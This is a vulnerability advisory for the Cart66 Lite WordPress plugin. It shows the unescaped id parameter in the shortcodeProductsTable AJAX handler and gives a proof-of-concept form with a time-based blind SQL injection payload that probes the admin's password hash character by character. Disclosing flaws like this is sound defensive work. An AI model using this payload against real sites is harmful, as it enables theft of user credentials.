1. Description  
  
Cart66Ajax::shortcodeProductsTable() is accessible for every registered user.  
  
$postId is not escaped correctly (only html tags are stripped).  
  
File: cart66-lite\models\Cart66Ajax.php  
public static function shortcodeProductsTable() {  
global $wpdb;  
$prices = array();  
$types = array();  
$postId = Cart66Common::postVal('id');  
$product = new Cart66Product();  
$products = $product->getModels("where id=$postId", "order by name");  
$data = array();  
}

2. Proof of Concept  
  
Login as regular user (created using wp-login.php?action=register):  
  
<form action="http://wordpress-install/wp-admin/admin-ajax.php" method="post">  
<input type="hidden" name="action" value="shortcode_products_table">  
Blind SQL Injection: <input type="text" name="id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM wp_users WHERE ID = 1) -- ">  
<input value="Hack" type="submit">  
</form>  
  
This SQL will check if first password character user ID=1 is “$”.  
  
If yes, it will sleep 5 seconds.  
  
3. Solution:  
  
Update to version 1.5.2
